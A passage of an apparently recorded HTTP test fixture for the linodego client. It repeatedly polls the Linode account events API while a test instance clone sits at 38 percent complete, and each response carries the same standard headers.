"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.641694, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.701569, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.772565, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.842238, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.913351, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 51.990657, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 52.051241, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 52.126632, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 52.191686, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 52.817341, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 52.995708, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.061932, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.136656, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.204121, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.27613, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.346137, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.428392, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 